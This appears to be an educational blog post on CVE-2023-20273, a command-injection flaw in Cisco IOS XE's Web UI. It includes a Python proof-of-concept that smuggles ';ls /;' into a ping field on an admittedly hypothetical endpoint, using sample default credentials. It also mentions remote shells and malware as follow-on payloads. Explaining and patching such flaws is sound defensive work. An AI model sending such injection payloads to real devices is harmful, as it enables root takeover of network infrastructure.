CVE-2023-20273 - How Cisco IOS XE Web UI Flaw Lets Hackers Run Root Commands (With Exploit Example)

CVE-2023-20273 is a serious vulnerability found in Cisco IOS XE’s Web UI – a tool used by network administrators to manage Cisco routers and switches from the browser. The flaw allows someone with valid login credentials to run any command on the device as root (the most powerful user in the system). In this post, I'll walk you through how CVE-2023-20273 works, show you actual (educational) code examples, and explain what you should do if your devices are at risk.

What Makes CVE-2023-20273 Dangerous?

CVSS Score: 7.2 (High)
Attack Vector: Remote, needs authentication
Impact: Root privilege command execution
Affected: Cisco IOS XE with Web UI enabled

The problem is pretty simple: Cisco’s web interface doesn’t properly check (sanitize or validate) the input it receives from users. That means a logged-in attacker could sneak dangerous system commands straight through the web forms, and the backend runs those as root.

How the Attack Works (Step-by-Step)

1. Attacker logs into the Web UI: Any user with credentials can proceed. In real-world attacks, hackers often use stolen, weak, or default passwords.
2. Attacker sends a specially crafted request: Instead of normal data, they inject malicious commands into form fields or HTTP requests.
3. The backend runs these commands: Because it doesn’t properly check inputs, it executes commands as root.
4. Attacker gains root access: Now they can do almost anything on the device – install malware, leak configuration, intercept traffic, etc.

Exploit Example: Command Injection via Web UI

This is a simplified educational example showing how an attacker might inject system commands. This uses Python and the requests library, targeting a hypothetical vulnerable endpoint.

Disclaimer: This is for educational purposes only. Never attempt unauthorized access on any system.

import requests

# Replace with your target device’s IP and valid credentials
router_ip = "192.168.1.1"
username = "admin"
password = "cisco123"

# The vulnerable URL, as found with network capture or documentation
vulnerable_url = f"http://{router_ip}/webui/execute_command";

# The crafted malicious payload - here, trying to list root directory
malicious_command = ";ls /;"

data = {
    "cmd": f"ping 8.8.8.8 {malicious_command}"
}

# Send the exploit request
response = requests.post(
    vulnerable_url,
    data=data,
    auth=(username, password)
)

print("Response from device:\n")
print(response.text)

What happens here?
The injected ;ls /; causes the system to run the ls / command as root. The output is sent right back in the web UI response. The attacker could swap ls / for far worse commands, such as adding users, opening remote shells, or downloading malware.

References & Original Advisories

- Cisco Security Advisory for CVE-2023-20273 (official)
- NIST NVD Detail
- Cisco’s public announcement

Conclusion

CVE-2023-20273 is a textbook case of poor input validation letting attackers take full control of critical infrastructure. Since only authentication is required, any compromised admin account means instant root on the device. Patch, lock down your devices, and never leave the web UI exposed if you don’t need it.

Timeline

Published on: 10/25/2023 18:17:00 UTC
Last modified on: 10/31/2023 14:02:00 UTC